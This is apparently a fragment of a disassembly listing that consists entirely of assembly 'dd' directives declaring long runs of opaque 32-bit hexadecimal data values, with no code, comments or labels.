dd 0EAD022AFh, 1C8A31BBh, 3773120Eh, 0E4E5241Dh, 501411C0h dd 238F2E22h, 487C2478h, 250DC47Ch, 12855893h, 658EBA8h dd 891EEF9Ch, 8FB6BF19h, 0D0B28CE9h, 0CC1AB3E9h, 0AE1A0978h dd 5045D748h, 0AD31F700h, 0BA2A5C23h, 0A81F5CBCh, 9C012125h dd 0FF561722h, 0D4B16816h, 9C033E00h, 989FC126h, 19890DCh dd 5ABAC823h, 208A81FDh, 6E0B3A08h, 2EB6B5E2h, 0BA89C0BCh dd 0C0A7284Ch, 0FD7A6081h, 8700C09Fh, 0ECD450AAh, 4199A0h dd 5411A947h, 0A78FC95Ch, 13009A79h, 0F2EE32ABh, 0F6E09824h dd 934C0388h, 0E35165DEh, 3E94D790h, 63024000h, 5D255AA2h dd 588D1DE4h, 87DCE1h, 0DFFF99D6h, 7B016C6Bh, 0F863FCA5h dd 25D829B1h, 3DFE73h, 7A404FE0h, 0A1C6604Ah, 0B41EB6EAh dd 8F49CB77h, 6B70236Fh, 0F9D919B5h, 0C886D138h, 4406DC27h dd 6511E36Ah, 0C4D1F20h, 14F3C6DFh, 1E27281Fh, 200C0074h dd 17CB807h, 411271F7h, 215C6E82h, 0C317DCBCh, 815D383Dh dd 0FD688DC6h, 2080656Ah, 4B85479Eh, 0A900B292h, 38B9B580h dd 0F3C68Ch, 0DA88FD67h, 8BD53917h, 6FFA8374h, 1EE5FE00h dd 2EEBC416h, 7CAB0052h, 338724Fh, 5548C9EFh, 244A0F3Ch dd 3A7EA012h, 0E91DC8h, 0FFD89D2Eh, 0F4C6396Bh, 8A0E4000h dd 38501A4Fh, 2DCC009Ch, 0D5815A85h, 9900E28Dh, 6B14C99Dh dd 1DB1912h, 92B724EBh, 29A7CCC8h, 73047D6Ch, 0E4CDA4B4h dd 0D5DC090h, 2810038Ch, 1ECF27F8h, 0A08059FAh, 0AAE04882h dd 0D8AF0400h, 0EFC45B8Bh, 8B10094h, 3C9AE324h, 3A39594Fh dd 3EC70026h, 42A912FEh, 56E237h, 8667C63Dh, 723539Dh dd 40B67200h, 5BAA3EA4h, 0EB7F45Eh, 0C0E4DBC4h, 0B4FF00D3h dd 456785D7h, 190ABD00h, 254762EEh, 155400A0h, 0BED4CC4Ch dd 1000BAECh, 91CF8FF4h, 0F14906h, 93B2085h, 0EAE16DBDh dd 0B1284200h, 0B9D6705Bh, 0B41C00D9h, 7E602FD8h, 7D001497h dd 0D4A54FC0h, 492537h, 77A3570Bh, 5D5B0370h, 80D2F93Fh dd 4EE4E396h, 87015Ah, 6D279174h, 0AB5D2044h, 9D38291Fh dd 0A06F7240h, 1481BBh, 4E612BCEh, 8086576Eh, 0E7BD5801h dd 2DF851E1h, 0F592C0h, 0FAAFC3F2h, 883F1202h, 2B803D00h dd 320AE043h, 3B9831h, 0AC39D26Fh, 6ED7961Dh, 0BBC44800h dd 35868859h, 379D003Dh, 0FA531BB5h, 0AF01DDCAh, 61368C4Dh dd 0F2FCE3D0h, 69913F3h, 0B0C0D021h, 5C00CCF4h, 60A13B42h dd 24806FCEh, 0A731D2h, 0AB5A5F9Ah, 20C0E0A6h, 9B98F78Ah dd 0EF310037h, 0CDF012A2h, 149828D5h, 0E13EB3F4h, 0AD410049h dd 7279AF20h, 6630D82Fh, 343FF6BAh, 6E400036h, 0C51DF34Eh dd 73FD05FFh, 80CC476Ah, 0D3FBBFFCh, 40D83600h, 8598C195h dd 0D77F0158h, 9A9C118Ah, 0E76820FBh, 0EB252000h, 6A287AC5h dd 903A008Fh, 5DC13504h, 0BE01FA4Eh, 3EE6BDD0h, 0F7605381h dd 38A063B9h, 80E0E9AEh, 0BC267F22h, 0B680B435h, 68D2A7CAh dd 0D18C0047h, 0EE5B86BBh, 0B807F78Bh, 0E5819628h, 0B30FE010h dd 1B260717h, 70207845h, 0A2CE9788h, 0FE8E7B07h, 42C0DD24h dd 12C58632h, 686E5Eh, 0F9C82E8h, 0D200168Fh, 0C6A155A0h dd 9AF075h, 0CFF1103h, 0AAE24638h, 75DAF00h, 0E70569B9h dd 0CDE10075h, 60213A8Ah, 61B8AC71h, 33F02009h, 10E8003Eh dd 7DDFC4h, 0E23CDD4Ch, 3B069C1Bh, 0A0FD982Ch, 0D4155200h dd 304843h, 95191840h, 916B6926h, 86C7A40Fh, 127408Bh dd 0F2D9FDFBh, 4243BDCh, 0ACEEF901h, 0D4757FEFh, 0DF003BBBh dd 6CD1CCBDh, 6A499Eh, 5601CE5Fh, 0B7D774C6h, 0B40EA090h dd 0C0139CAEh, 4BFF86B2h, 8250000Dh, 7DDE3A23h, 3800DDE3h dd 9570E91Eh, 3937B4h, 862FB141h, 0B3E7CEEBh, 0AB98A90Ch dd 8850E5h, 6882915Ah, 0EF768502h, 8F5FFD0Fh, 0F865607Ch dd 0B85CF73Ch, 30E76090h, 1AECE2ABh, 12014F7Fh, 4A0D89A0h dd 6EF03510h, 317144Dh, 7302945Fh, 0A0762638h, 0AD48D960h dd 582BC324h, 1FAFC900h, 0EE35A11h, 0E5AEB564h, 8E909F40h dd 0E6008ACFh, 0E4FCA782h, 0EECE8FB2h, 4C3B0919h, 0A860267Dh dd 2800848Dh, 2FE08033h, 0BDAA0A8h, 15787263h, 4D594C00h dd 6209ABF5h, 0C81F86EFh, 0C52B10h, 8C185B8Ah, 31799DBAh dd 600DD701h, 907D07D0h, 6194EC0h, 0FE44758h, 2B00A82Ah dd 652C36Eh, 1C1323CEh, 19E8CC85h, 0BED52004h, 26685D2Ch dd 0B61EE9A2h, 6216FEDDh, 0D018B219h, 393ABC00h, 350EB5FEh dd 0E0725D9Ch, 11877F2h, 205C0F55h, 4541190Fh, 81B133F6h dd 0A7A40E38h, 3840E124h, 7CEDB806h, 0F55E00E6h, 6AC4F2CDh dd 6C0047EAh, 0E29AF150h, 7766F62h, 2D6D58CEh, 884126A7h dd 8CC01F0Ah, 0F180A46Eh, 190CE12Bh, 20E06B3h, 29EEE4A7h dd 2966B800h, 0C5D6CBA6h, 26CA0055h, 0DCFAB5AEh, 38015AB2h dd 0AC2E2CD4h, 0D9D92D31h, 3C549D8h, 592A1243h, 0B13FFECAh dd 28EB82A0h, 0E0C39E85h, 0E8CCAE7Bh, 3E21C0CFh, 8C10EBBFh dd 0BC99C000h, 0BDD3B7B5h, 0ACFF3C09h, 217E0180h, 0E55F78D8h dd 4006FE71h, 6D962768h, 0D0A00C9h, 53FF0397h, 0A733040Eh dd 7B0864h, 975EA821h, 71D0318Ah, 137FF100h, 94EBBD43h dd 87C8C540h, 3DB8004Ah, 2EE210D2h, 0E7BFE8A9h, 91BF9293h dd 98E86EA6h, 5F21C509h, 31BF0322h, 7AA5994h, 6BAC7E8Fh dd 8A00D479h, 0D67DFFD9h, 807A7569h, 0AC73EC45h, 49D89F6Ch dd 0EBEA001Fh, 0FED15042h, 2D333C19h, 0A4B820F9h, 432D500h dd 40005894h, 65F53545h, 0D9F748FBh, 1817B8C0h, 0EE0FE428h dd 0C6448C86h, 0BF2500A8h, 71329D84h, 3003FFB6h, 0CD05F2DBh dd 0A77100B3h, 0B9A6F688h, 730E034Ch, 0C1060CDDh, 4D9C19B1h dd 6AA00FCBh, 51E0C5C2h dd 0CF660827h, 7F49B600h, 3A7156C9h, 0BA36009Ah, 7084313Eh dd 0D81CB53Bh, 8980A674h, 22A01120h, 8CB07C0h, 10F5B4C9h dd 0FF71BE63h, 0A2CF3Bh, 15E7657Bh, 3C10C72h, 0A8AF2561h dd 0C5A2E82Ah, 4C8F4840h, 5004A7Ah, 0B24E49BDh, 3AD1933Ch dd 70BF8D07h, 4645276h, 1F00A7FEh, 3D0EBE6h, 5537366h dd 200C9CB3h, 291D1C3Dh, 31D7610Dh, 0C1FB4446h, 4199F4D5h dd 3704AA00h, 0AC422A98h, 84C00456h, 8CED6Bh, 87DBE3ABh dd 381603AFh, 3DA909DFh, 31AE8100h, 4EB75817h, 8EC5035Bh dd 6C3A3BC2h, 2029BFB8h, 18D8FF4Ch, 0A9B1765Ch, 0AB0800D5h dd 60224D85h, 7D3A54BCh, 8C1503A5h, 3BF46E67h, 0A43001C8h dd 73B1DCB1h, 0A18F41C0h, 0F00906h, 716C8325h, 0ADB8DCDAh dd 0D0201860h, 0CF2FA908h, 0D680D9A1h, 8875168Ch, 96005D74h dd 1FB3427Ch, 370E7D3h, 0E0430976h, 7806EA5Bh, 65A90340h dd 37B63841h, 1A3E6905h, 5AA4401Eh, 1DD384EFh, 0EAB41218h dd 3C588208h, 0D000192Ah, 900722CEh, 0E6000865h, 0DB6EEE01h dd 0B8E55D15h, 58771D01h, 0A8C60235h, 0EDC33183h, 0D1995014h dd 70C960BCh, 0EA7649h, 9578CE2Ah, 0E462E5B6h, 6CC7D403h dd 5C0B84h, 1C1ECF51h, 2557751Fh, 7130FE00h, 0AF16F386h dd 4B6B22E7h, 0A5537D00h, 0E5D61B82h, 0B60D05D3h, 0E0EDA234h dd 0A9302796h, 0E544F962h, 0B3680116h, 0BB857DE4h, 4C0898DCh dd 39ED7921h, 188B9B11h, 0B580DE02h, 767D51A9h, 0DCDC0D2Ah dd 8CEE307h, 0CD90CC2Eh, 11FA04h, 0F757C136h, 3D610D43h dd 0A1240937h, 0E04FF88Ah, 1C74B9AAh, 6D2700A5h, 0EE88F306h dd 0E800A786h, 54892087h, 1876B3BAh, 39D3D201h, 0A1CF4BFAh dd 975AC098h, 0B1FFCBh, 0C14E997Ah, 0EFD45CCAh, 0D375C000h dd 0B640359Fh, 0E89501DEh, 5C1018F2h, 9034249Dh, 82142E7Fh dd 2AB4340Bh, 0A430B8F3h, 26DD2019h, 46300040h, 0A2B5B12Ch dd 3F127C6Dh, 9C40EA6Bh, 0FC52D03Dh, 0FBBD3AD2h, 6B42401h dd 0E1057479h, 84C0580Bh, 334C2CC4h, 3A242C81h, 82B1C980h dd 65B75EC5h, 66749A05h, 9C060378h, 2469E3F6h, 4E585753h dd 0ECA192CCh, 80B4C73Eh, 283D7D88h, 125A15E9h, 48EF2FB7h dd 84709AB0h, 83063510h, 0C9680299h, 4C46E746h, 39799D00h dd 0A5AA143Dh, 9AC70029h, 6D78CCB7h, 949168DBh, 8ED2000h dd 63A96944h, 9372A187h, 29C8FFC3h, 8300423Ah, 2A6F0696h dd 0C149E73h, 5E1D0843h, 810FD199h, 55A63Bh, 65E1C4B3h dd 0F9E663F3h, 2900B20Dh, 0DC1DBD82h, 90C3A0h, 6C247ABFh dd 0F198DFCCh, 0B148DD12h, 83D6044h, 0B98AE48Bh, 8A5B08ACh dd 860720B1h, 33437183h, 3DF88006h, 4260B9A3h, 40C56738h dd 86A0F9Ch, 240D38Eh, 42011586h, 23308C48h, 40300116h dd 18C4F6C8h, 28DF88A7h, 56514000h, 7BE682CDh, 0F7B5Bh dd 0A0B60237h, 6386EC03h, 0D0981709h, 0FADC83A1h, 0A7B11F33h dd 42A21CF4h, 0A4ECAA1Dh, 0B0159463h, 24801F1Ah, 2B000809h dd 7B66D579h, 803BE40Dh, 49C038FAh, 8068CB1Fh, 58DB011Eh dd 52D2D5B5h, 770C2095h, 8735B938h, 0BC985AC4h, 1C135FC5h dd 88563C08h, 68A80953h, 0CC4743Eh, 215768B5h, 212C052Ah dd 0ACD67FCh, 98A4A5A0h, 0B48B211Bh, 0EB342201h, 0C4D07689h dd 0C48720C0h, 306BCA48h, 23E52127h, 0E008156Ch, 0EF5C008Ch dd 0F0D01021h, 506BA818h, 180C139h, 7A4FBB66h, 8FF27B84h dd 61274A31h, 43767872h, 0D9310BC9h, 1D64C981h, 433F0ACAh dd 0F07DA2BCh, 0E8772C88h, 8C1D0BF2h, 2C201A0Ah, 0A65F6CE2h dd 86F7E00Bh, 417E06AFh, 642C0458h, 624A83Ah, 103828EDh dd 0ED55636h, 0C7C25E23h, 0ED80EA88h, 0C1A30F0Dh, 0CD2AAD49h dd 34646001h, 2924D83Fh, 17001828h, 4BD1E58Eh, 608A24A4h dd 6F1080F4h, 0BBE82265h, 8CC67F00h, 0AFFB88DFh, 381C00CCh dd 47A09727h, 498CAD4h, 24D7B100h, 0D9CDC0F0h, 9CC71CB7h dd 1AAF4089h, 76758F4Fh, 2AB85A63h, 1EF105EFh, 48131091h dd 758E739Ch, 84A0664Bh, 0C5700F11h, 0AD037758h, 4C53C9Fh dd 3168B6ECh, 67E8F96Bh, 0F1448C75h, 21130090h, 9F28FE4Eh dd 0A902D92Ah, 0FA29C671h, 5BD8A037h, 6A2EDA3h, 0A9AC801Eh dd 7D0E193Bh, 0C0CDEE29h, 2EB13340h, 61A71F4Bh, 8742499Ch dd 0BDFE0420h, 0C00085B6h, 2276FA78h, 16F5BC36h, 2068826Eh dd 0BB0E29B0h, 3E11603h, 89228494h, 0C248BFAh, 29536068h dd 9895C9CBh, 0F00E3E7Fh, 2518B51Ch, 81BF59FEh, 8D83D550h dd 0A9BDDC79h, 0C9FEE0h, 0EE099D68h, 0D7D2105h, 0D65B7900h dd 92B9F099h, 0EA1CA00Ch, 387006Ah, 7F3D23Dh, 0B20C8B98h dd 5174FA35h, 62683EC6h, 8788800h, 15E0EC11h, 0F002D698h dd 6BBBE316h, 597F40F5h, 6DFA30B8h, 0D9CF8A39h, 0A942802h dd 0C0EEB5F6h, 177362A4h, 841A01Fh, 0CB802160h, 0B512C8C3h dd 3C4B003Dh, 27F24950h, 3403587Fh, 0B9232FD3h, 0A0DFAB85h dd 0F0DC2572h, 1F1C788h, 71D1CCD5h, 5AD2DB02h, 52126517h dd 24275C68h, 0F89F2976h, 1F3D05E8h, 5B8C88F4h, 15F13945h dd 77D6062h, 0D6B89622h, 1C21FCFAh, 7E2FD700h, 160CDDA9h dd 3710095h, 6134D083h, 3DF276D8h, 9F44CF00h, 21D47DBh dd 0A8990390h, 881A253Ch, 0C5761BE0h, 0FB00B3F8h, 38BBDA93h dd 340A4C4h, 855D5BE2h, 64D8808Ah, 2D00C8F9h, 0D39FF2BEh dd 0F11F14h, 71E4CA4h, 0EC0ECC80h, 565DBD00h, 0A192AEC8h dd 86DE015Eh, 780C321h, 3B44808Fh, 0EE0BD41Bh, 1BB1F817h dd 202CB586h, 0B8405103h, 0FEA84B0Ah, 58420111h, 4D9D8AC2h dd 36933025h, 96D08C6h, 1037020h, 0DAFD1BC2h, 0C434EB87h dd 0D0029267h, 143BE04Eh, 9120C304h, 0E2E00B28h, 6B70E1F1h dd 0C4DE0032h, 0D0E9CD0Ch, 0D800D2EDh, 0E66A8816h, 0C45365D1h dd 0C23898h, 4672EFE2h, 12C3763Dh, 60ABEB0h, 28C5BDF1h dd 0FDC99E00h, 0B2E426F2h, 0D8900034h, 0F7659FBh, 0C23D2466h dd 0AFEF802Ch, 5E8A869Fh, 0EB8B00ABh, 3AC376D2h, 74F3B6ADh dd 3800EC7Eh, 0C9F09D97h, 0EA90EDAh, 908BC47Ah, 1D509EE0h dd 0BAEA52E1h, 96D44600h, 3575BB4Ah, 1C04036Bh, 90B1814Dh dd 4B6CDBC8h, 80038E3Bh, 1EA8A13Fh, 652E97A9h, 3A0511FFh dd 0E258C304h, 0B710007Ch, 6B6E9816h, 303BD222h, 0E88900EAh dd 3B474593h, 0CB00024h, 50FFA042h, 0F40062A1h, 7307E69Bh dd 120D43h, 0A91D8B1Bh, 4D5F80BEh, 0B2F63501h, 57CF7907h dd 38916DDCh, 0BA018902h, 6410D08Ah, 0C0BECDBBh, 0D1F6704Bh dd 732F1D00h, 34A25F93h, 0D49800D9h, 304C9D5Dh, 5C60D77Eh dd 0A86BFE38h, 74683F89h, 0CA215B00h, 0EA04B09h, 5FC65D0Fh dd 0F830E007h, 4FA172h, 88F09E84h, 0CECC43CAh, 0F30BA000h dd 0E66F7CA6h, 0BDAD074Bh, 60CAB1DDh, 244EA889h, 733A1B06h dd 48DA4Fh, 5DB2A2B6h, 185955A1h, 9300AB75h, 2226CFF3h dd 0FBF174E9h, 0AD0DFFCh, 2425BF94h, 0E8AA8FB4h, 7C7E40E0h dd 0C0C05DCBh, 323D2734h, 50BE06A2h, 391C5390h, 7E88AE7Ch dd 170100B5h, 55DA913Ah, 0BB0060A0h, 0E0112BC0h, 185C1FF4h dd 91109ADCh, 700FE93h, 19CD52DDh, 0A7E0D3h, 97ADAC81h dd 0C97C7845h, 11007470h, 8DFFC455h, 7C0138Ah, 73A34622h dd 0BD6060D6h, 2906E298h, 0AA521FDCh, 0D02500AAh, 77E711CCh dd 9A017B47h, 6F809D44h dd 91D475F5h, 86721E45h, 66701F25h, 6C0900D5h, 0B4BC172Dh dd 0CFDEC51Ch, 1E0AB000h, 24E0CAh, 1CF1CBA6h, 0B4CE8A9Ch dd 0A9D4FC01h, 7A69B8BFh, 3EA08040h, 0F350F9Fh, 568011B2h dd 0C4771FEDh, 400D0A0Eh, 807B5D5Fh, 4FEC8DB3h, 3B9A59D5h dd 0E780E883h, 425C8732h, 0F0C71F08h, 29A0D55Eh, 54C756h dd 534ABC93h, 5AE131F2h, 0DB704401h, 6245E72Bh, 215FC441h dd 0F55AF911h, 0E927D403h, 8A644A05h, 0CDC0B423h, 0DF60E8h dd 0DC6D8584h, 4DCB651Bh, 6A672D17h, 0C869600h, 7B593D3h dd 99726277h, 5F9720C4h, 778B7A1h, 0D65D8D00h, 144D2ECDh dd 0D10400ABh, 71A8E8B5h, 0AD907B73h, 2CFC0550h, 3900197Ch dd 9E3F9DB6h, 7C72F4C1h, 0DF0C1F22h, 67B94246h, 0D6403C29h dd 50007E81h, 0F6FAAB06h, 3D583231h, 0D493AFB9h, 0C50040A5h dd 765A2B1h, 318B2D09h, 35240052h, 0F7A4Fh, 27AF68C0h dd 0B0BF1BC7h, 0EC502300h, 28E303F4h, 20920088h, 0F6FFCDFBh dd 0DC70E2D7h, 8E6AA700h, 0D818CF63h, 66253B71h, 3100BF4Ch dd 0EF62AD16h, 0EB005D03h, 449B78CCh, 0E9249Ch, 0B874BDCDh dd 9E3AA31Bh, 0F8767F07h, 0A4D06C66h, 81D2E2h, 15B19B79h dd 423071C0h, 7502A200h, 5E9872B3h, 0B57F64h, 9B668F26h dd 321259BCh, 423DA400h, 0DDE7CAD8h, 687A009Dh, 4D0E33A9h dd 9400990Ah, 0F073CC05h, 6EB1A7h, 95C8A6ECh, 7C2E2CB3h dd 3EBC9E00h, 94841AF1h, 23B400F0h, 5551652Dh, 52008846h dd 1A7C9149h, 70BB38h, 676F9A4Eh, 242FD1Eh, 8F0E4301h dd 0F01B7B58h, 144E73E8h, 0C0AB7E1Ch, 0CC009C3Dh, 69EAD07Fh dd 0D8384D64h, 97B48E53h, 0BE6E40DAh, 0D5D4C1h, 9ACC5AEAh dd 94449A9h, 13667000h, 92ECF595h, 0E3F000Dh, 5D32382Eh dd 41006AEDh, 9BDC20F0h, 0F2C4C45h, 90968F69h, 74B45BA0h dd 0DF0026BDh, 6BE17275h, 876671h, 6798AE4Ch, 0D718D4BFh dd 91A80C04h, 84901378h, 1C6ED69Fh, 0F6F47h, 0E790D095h dd 0FA1321D8h, 0B8040B33h, 74877078h, 0E81BA233h, 0C0D7B0FEh dd 23932718h, 7B085709h, 8D96A5h, 67836DF8h, 48B28650h dd 1C36B600h, 499D1093h, 0A2C00B9h, 0F435F9D5h, 0E00FD634h dd 40A0C967h, 3FF86A3h, 7151070Fh, 10F33181h, 0F0014EA2h dd 6732C400h, 0D7F205E0h, 913C1E24h, 353C2E3h, 0BF40B426h dd 1200BD3Ah, 864A7564h, 5EB6BCBh, 513CD342h, 0AB800E33h dd 72573000h, 9C009F79h, 0B6BE7EEBh, 4C15B2B1h, 39006CFAh dd 0D6831252h, 0BD00D79Eh, 2DF677AEh, 0FB2073Eh, 3B39DA0Fh dd 0A96F8DAFh, 0E91531E0h, 10108B5h, 0D067506Ch, 53DCE1DEh dd 80235345h, 9614CD00h, 1AAAE70Ah, 7A0AA0ECh, 0DEF29971h dd 5201A900h, 0EC1B8FB9h, 9F240108h, 0A103C518h, 5FD9F7F2h dd 0CE30D4BDh, 0D32BD500h, 0E4A57057h, 3A7CE9h, 254E49B7h dd 1250888Dh, 7701BB0Eh, 0F1F7E00Ch, 0B5787Fh, 803B1441h dd 862F23A3h, 0EA2A990Eh, 54040DAh, 9F8C8Dh, 0F6913736h dd 9D11574h, 76B5CC00h, 757E6FD0h, 7CAF84Ch, 68A79091h dd 3243F0E1h, 357E2DC2h, 836C522Ch, 22D62900h, 3407CCEh dd 55A8EAF5h, 0EEB06636h, 1100DAE1h, 5801BEC2h, 1C7F910Ch dd 98B01B89h, 311758A7h, 0BC2E1998h, 5C806CDEh, 59FD7D67h dd 80E479h, 610A091Ch, 0E2B9CE83h, 0AEB0BD00h, 3519C5BEh dd 38A7002Fh, 9CCB1F6Eh, 0B939B157h, 164B001Eh, 6DE8C47Ch dd 5CD50078h, 0C3E28371h, 7D05DAB5h, 0AD2AE5F1h, 15067480h dd 6A6C30D9h, 0C3BA2380h, 9B672BF0h, 0E287AA11h, 2F6097C0h dd 0A9D2B4h, 0E8F2E3B6h, 0F800CBA0h, 2970D1D0h, 0CE7B53h dd 0D7C0C86Dh, 24E6CF72h, 3CD21600h, 19CC692Dh, 0E1FE0055h dd 2AA6B7C7h, 6500B899h, 28F77CF0h, 9133207h, 0E36A2B4Dh dd 2975E020h, 79197C1Dh, 0F8211A71h, 82EADFE1h, 4801B748h dd 4CE32AC4h, 2860564Dh, 0AEA384F0h, 395800F9h, 5A2E00FEh dd 918CDEB6h, 84F4064Eh, 0E6B7B300h, 3F65A93Ch, 0F1854CD4h dd 0D9F4220Eh, 8A20956Fh, 0FEF5DF9Bh, 50195400h, 0FB23C199h dd 0B1491DA1h, 0F6874084h, 0FD7CD865h, 0D7C51E00h, 3F13F851h dd 6BC20030h, 5D486CDh, 0A4007912h, 7F49BCA3h, 6748801h dd 5170FF2Ah, 0C800D1B2h, 4E2DA6A8h, 1DADC3A2h, 18C6EA2Bh dd 0ABEB21C4h, 4E11A600h, 92200971h, 0F81F0055h, 0DD159D4Fh dd 0AC0136CEh, 0E971B239h, 4CD3732h, 5D61188Ah, 10983094h dd 9CA8F903h, 6600C8A5h, 457B7CF3h, 742380B4h, 2163604Dh dd 52667340h, 0C2CFD3Ah, 5837DB5Ch, 81C941D5h, 3478A899h dd 7882CAC8h, 0E7F6645Ah, 0E1EC700Ch, 66040C0Ch, 4D5B7C1Fh dd 0BBBFA837h, 2F0A0194h, 83183938h, 7F2BE1D6h, 15C4D0F0h dd 0ECD6D8B7h, 64DD8E00h, 28A86F9h, 887A680Eh, 43465DB1h dd 7D6E0180h, 0B2C05BEh, 473339Ah, 30590AB8h, 79B7A612h dd 0B3448C23h, 0A6E507E1h, 0F089DE13h, 4C33479Fh, 0E8B39130h dd 1A32A8CFh, 10BBDDD4h, 0D35C1281h, 4A05CC85h, 0BC75910Ch dd 7338E57h, 0E61D09ECh, 6258C01Bh, 5C042489h, 0F91FD731h dd 17ADA280h, 0A2B33D65h, 4726F21Ch, 0C0483464h, 6A8B4293h dd 0F500B9E2h, 0B5396E10h, 0E6C5C8h, 0B2021843h, 0B1C2D4ECh dd 0CD036400h, 0C6996D9Ch, 0DB140F8Bh, 0C37D67ABh, 3CF90E75h dd 2E0280C5h, 257C1A83h, 72F7EA00h, 198EA5B2h, 137A1CAEh dd 0BCE880DFh, 2217F887h, 50C5BF0Fh, 78AF208Fh, 2A5D9C2h dd 0E5C43FF1h, 9AC031B9h, 50036EFh, 0BE2DF0D8h, 7ACFC83h dd 2E5A4875h, 2399F363h, 0BF58A3E0h, 80C95338h, 71786234h dd 3E26CFB6h, 961E2A0Fh, 0CA190782h, 0A03F80F9h, 6900035Dh dd 0BC2D1ADBh, 0FB85843h, 91CF7C80h, 0C01DA387h, 2C012953h dd 816550C6h, 0F71A0068h, 64EB153Ch, 0E5002DBCh, 0A539EE56h dd 60957176h, 896A18E9h, 9F073E4Bh, 25CE721Ch, 0A29A5981h dd 3C01ACE0h, 0BC001DADh, 80F85B13h, 7607CC71h, 5F3E4111h dd 223386C1h, 42D7194h, 62A800D2h, 7EF8E5D3h, 41B68506h dd 1D8F5F7h, 1B01EBCh, 0DC27D761h, 2907B134h, 0F35DF9E5h dd 86717DD0h, 0E931CF2Fh, 4FA3BD80h, 530057A6h, 2630E4DDh dd 0F0634BEh, 1CEDD6EBh, 0FC3B28D5h, 18D37F19h, 1FC0432Dh dd 7D859906h, 0AA97C05h, 81E208FBh, 0B486060h, 0A8C8824Fh dd 2391102h, 3E6C196Ah, 0CD90A0D5h, 1BED070h, 0F0C94AA0h dd 82F1760Bh, 0A3B5EB91h, 0A67C917Bh, 0F1238458h, 683799Fh dd 18269886h, 38E08480h, 0A162C08Ah, 0FB40DCE6h, 9ABBDCE1h dd 0AF91912Dh, 79403FA2h, 7D06B5A3h, 4039A733h, 0AFD00339h dd 3274AA6Dh, 0F38E4FE0h, 23D4DC18h, 281683A9h, 0E418712Fh dd 61F01E66h, 0B75C430Bh, 0A114F43Ah, 1C84F3h, 7345FC6Ah dd 678E0BFDh, 7BA69951h, 11656606h, 727BAE00h, 66123178h dd 63A92A07h, 73903CBCh, 770AB401h, 0C8F7BC57h, 56601465h dd 0D0B7F910h, 9CE94489h, 40DCD07h, 7BC0927Ah, 34733C2Fh dd 0C695C89h, 34C19CDCh, 44A7C301h, 0B4E95A0Bh, 781960E7h dd 89E77E7Dh, 17002949h, 740C0678h, 60109976h, 5E7DA165h dd 56304BE1h, 613F10B7h, 843950ABh, 0BB2E3A73h, 5F7B1Dh dd 3D4E3134h, 0DB7F9D9Ah, 9F76E719h, 405F3861h, 5321B420h dd 540242B7h, 0B8D78081h, 0FE198149h, 0AB37E6F3h, 0D06A9AE0h dd 0D422AC48h, 95543D55h dd 22BCEE10h, 480EFE84h, 3418E414h, 5A834073h, 7D66AF01h dd 6501AD47h, 8FE8024h, 0A2E8F589h, 18C9ECBDh, 9F842245h dd 41109843h, 9B060063h, 0E0722757h, 8FEB035Bh, 0F55D0D8Ch dd 3399F188h, 0C296BE00h, 47A6C184h, 0B36E3867h, 0B91CB23Ah dd 0F152401Ah, 0C5EEB87Ch, 19B41004h, 64C2E191h, 9E1C41A6h dd 0EDEA824h, 3BE088D8h, 71E87B87h, 512F4D5Dh, 9BCB08Ch dd 7A85FAE8h, 8BCF0012h, 0D21B3910h, 0F1266137h, 1A02A896h dd 4A761222h, 8687DDD4h, 13DCB7C8h, 180373C9h, 11CFA680h dd 9E5909BAh, 7D8033D7h, 3D2E16DAh, 9108B266h, 0DFFB0421h dd 82DDB833h, 47206A0Ch, 2489694Fh, 1F603815h, 65160683h dd 4D002128h, 0FCB533F5h, 78F692FAh, 2708CC38h, 4D00F821h dd 30157133h, 0CE7D78E7h, 22C03819h, 5631131Dh, 0F11CE22h dd 1239582Dh, 80032724h, 8AE4CB90h, 0E2BE890Ah, 0F9813C62h dd 0DAFCA133h, 74886018h, 483307D1h, 0F4A7235Fh, 0F3B8C295h dd 0A87A0721h, 61533460h, 3722D83Dh, 5EA851DDh, 0BA298007h dd 29320994h, 0F08E1D86h, 0FB144E40h, 803A9C5h, 0A5805B84h dd 0F8971BDFh, 26CC75E4h, 41A4E021h, 323B8A80h, 62CE00E8h dd 3C4649DFh, 34114CB5h, 0FBBCD080h, 3BE0529Dh, 701E91F4h dd 0F8D58257h, 9A601C34h, 3FE87740h, 77A57C87h, 8E791214h dd 33680065h, 4556C95Dh, 0CC66022Ch, 0F05E4B06h, 983A24D1h dd 0F78500D3h, 769D7295h, 0B8F2D0E7h, 9EDF20C0h, 0A4C1F77h dd 62D8E9B4h, 5A8840D8h, 960CCDD0h, 511C5D6Dh, 0B1FC0Fh dd 4D21ABF4h, 6D7973D7h, 10C7658h, 0AE0582BEh, 0EC640D19h dd 274607A3h, 2F7BE34Eh, 48F68486h, 0B0BDC8A0h, 39AC80h dd 0BC5AAF44h, 0F6D723A0h, 1F01F318h, 0E8022D21h, 16D229CAh dd 645C220h, 3FD30E30h, 2800EF8Ah, 0B4D56866h, 820013A4h dd 0B31BA90h, 0FFBE8833h, 0F33D6C26h, 0EAFCB788h, 6A4095C4h dd 0D60C334Bh, 9C064100h, 540DDC98h, 35F30246h, 2DCFDE9Eh dd 6F0540C0h, 69000492h, 4A7CCC3Bh, 1604E235h, 837DF9h dd 0CEBC5284h, 0A4181D14h, 43317306h, 73E27BA1h, 92550C25h dd 9F08DA26h, 79B221C0h, 0C8CA7E3h, 0DB12235Ah, 1D292919h dd 0AB01249Eh, 0B2FDD2E2h, 8AA418h, 2411E2CDh, 17B010Fh dd 63888E1Eh, 0C48E250h, 0F9C06165h, 0F0B2AB0Bh, 1C32FA84h dd 0C0E1A972h, 0E0571542h, 8505B0CEh, 0C4F26169h, 3D97C800h dd 50FA3994h, 3C194816h, 8D8121F7h, 0A6DF0857h, 25436A0h dd 0E59833E4h, 10B531E2h, 233ECF8h, 20B17E39h, 0A86095AEh dd 0C116E741h, 28143A53h, 48237Ch, 85E477C9h, 4586729Fh dd 771E400Eh, 3D017F21h, 0BF3104DAh, 7470763Fh, 0E486515Dh dd 8CA3A820h, 0D733BB0Fh, 4C8831E5h, 33E3F787h, 0AA9661AFh dd 59D15390h, 0E1C84C4Ah, 780284C1h, 3B4D9BFCh, 95808306h dd 0C5483D8Bh, 6358BFDEh, 0A6D2109Ch, 380BDC01h, 4C51CBF9h dd 3F5222C4h, 97D003C0h, 0AD16BBh, 194F2611h, 0BC2F9DA4h dd 4055718h, 0AF6A1h, 1C73236h, 0C1985EA4h, 7426F301h dd 7BE74F80h, 5074B429h, 0B8DD303Bh, 0C1E916A6h, 9DF040C6h dd 0CE16BD25h, 7C91B97Ch, 14206296h, 8F73A8h, 87229008h dd 476E5336h, 9CD22D28h, 